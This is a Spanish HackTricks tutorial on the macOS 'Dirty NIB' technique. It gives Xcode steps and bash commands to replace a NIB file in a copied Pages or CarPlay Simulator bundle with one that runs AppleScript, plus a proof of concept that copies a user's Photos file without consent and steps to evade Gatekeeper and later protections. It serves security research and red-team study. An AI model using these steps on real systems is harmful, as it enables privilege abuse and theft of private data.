# macOS Dirty NIB
Aprende hacking en AWS de cero a h茅roe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆gueme** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Esta t茅cnica fue tomada del post** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) ## Informaci贸n B谩sica Los archivos NIB se utilizan en el ecosistema de desarrollo de Apple para **definir elementos de la interfaz de usuario (UI)** y sus interacciones dentro de una aplicaci贸n. Creados con la herramienta Interface Builder, contienen **objetos serializados** como ventanas, botones y campos de texto, que se cargan en tiempo de ejecuci贸n para presentar la UI dise帽ada. Aunque todav铆a se utilizan, Apple ha pasado a recomendar Storyboards para una representaci贸n m谩s visual del flujo de UI de una aplicaci贸n. {% hint style="danger" %} Adem谩s, los **archivos NIB** tambi茅n pueden usarse para **ejecutar comandos arbitrarios** y si se modifica un archivo NIB en una App, **Gatekeeper a煤n permitir谩 ejecutar la app**, por lo que pueden usarse para **ejecutar comandos arbitrarios dentro de aplicaciones**. {% endhint %} ## Inyecci贸n Dirty NIB Primero necesitamos crear un nuevo archivo NIB, usaremos XCode para la mayor parte de la construcci贸n. Comenzamos agregando un Objeto a la interfaz y establecemos la clase en NSAppleScript:
Para el objeto necesitamos establecer la propiedad inicial `source`, lo que podemos hacer usando Atributos de Tiempo de Ejecuci贸n Definidos por el Usuario:
Esto configura nuestro gadget de ejecuci贸n de c贸digo, que simplemente va a **ejecutar AppleScript a petici贸n**. Para activar realmente la ejecuci贸n del AppleScript, por ahora solo agregaremos un bot贸n (por supuesto, puedes ser creativo con esto ;). El bot贸n se vincular谩 al objeto `Apple Script` que acabamos de crear, e **invocar谩 el selector `executeAndReturnError:`**:
Para las pruebas, simplemente usaremos el Apple Script de: ```bash set theDialogText to "PWND" display dialog theDialogText ``` Y si ejecutamos esto en el depurador de XCode y presionamos el bot贸n:
Con nuestra capacidad para ejecutar c贸digo AppleScript arbitrario desde un NIB, a continuaci贸n necesitamos un objetivo. Elijamos Pages para nuestra demostraci贸n inicial, que por supuesto es una aplicaci贸n de Apple y ciertamente no deber铆a ser modificable por nosotros. Primero haremos una copia de la aplicaci贸n en `/tmp/`: ```bash cp -a -X /Applications/Pages.app /tmp/ ``` Luego lanzaremos la aplicaci贸n para evitar cualquier problema con Gatekeeper y permitir que las cosas se almacenen en cach茅: ```bash open -W -g -j /Applications/Pages.app ``` Despu茅s de lanzar (y matar) la aplicaci贸n por primera vez, necesitaremos sobrescribir un archivo NIB existente con nuestro archivo DirtyNIB. Para fines de demostraci贸n, vamos a sobrescribir el NIB del Panel de Acerca de para poder controlar la ejecuci贸n: ```bash cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib ``` Una vez que hayamos sobrescrito el nib, podemos desencadenar la ejecuci贸n seleccionando el elemento del men煤 `About`:
Si observamos Pages m谩s de cerca, vemos que tiene un privilegio privado que permite el acceso a las Fotos de un usuario:
As铆 que podemos poner a prueba nuestro POC **modificando nuestro AppleScript para robar fotos** del usuario sin solicitar permiso: {% code overflow="wrap" %} ```applescript use framework "Cocoa" use framework "Foundation" set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif" grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1 ``` {% endcode %} {% hint style="danger" %} [**Ejemplo de archivo .xib malicioso que ejecuta c贸digo arbitrario.**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) {% endhint %} ## Crea tu propio DirtyNIB ## Restricciones de Lanzamiento B谩sicamente **impiden ejecutar aplicaciones fuera de sus ubicaciones esperadas**, as铆 que si copias una aplicaci贸n protegida por Restricciones de Lanzamiento a `/tmp` no podr谩s ejecutarla.\ [**Encuentra m谩s informaci贸n en este post**](../macos-security-protections/#launch-constraints)**.** Sin embargo, al analizar el archivo **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** a煤n puedes encontrar **aplicaciones que no est谩n protegidas por Restricciones de Lanzamiento** por lo que a煤n podr铆as **inyectar** archivos **NIB** en ubicaciones arbitrarias en **esas** (consulta el enlace anterior para aprender c贸mo encontrar estas aplicaciones). ## Protecciones Extra Desde macOS Somona, hay algunas protecciones que **impiden escribir dentro de las Apps**. Sin embargo, a煤n es posible eludir esta protecci贸n si, antes de ejecutar tu copia del binario, cambias el nombre de la carpeta Contents: 1. Toma una copia de `CarPlay Simulator.app` a `/tmp/` 2. Renombra `/tmp/Carplay Simulator.app/Contents` a `/tmp/CarPlay Simulator.app/NotCon` 3. Lanza el binario `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` para cachear dentro de Gatekeeper 4. Sobrescribe `NotCon/Resources/Base.lproj/MainMenu.nib` con nuestro archivo `Dirty.nib` 5. Renombra a `/tmp/CarPlay Simulator.app/Contents` 6. Lanza `CarPlay Simulator.app` de nuevo {% hint style="success" %} Parece que esto ya no es posible porque macOS **impide modificar archivos** dentro de los paquetes de aplicaciones.\ Por lo tanto, despu茅s de ejecutar la app para cachearla con Gatekeeper, no podr谩s modificar el paquete.\ Y si cambias, por ejemplo, el nombre del directorio Contents a **NotCon** (como se indica en el exploit), y luego ejecutas el binario principal de la app para cachearlo con Gatekeeper, **se activar谩 un error y no se ejecutar谩**. {% endhint %}
Aprende hacking en AWS de cero a h茅roe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).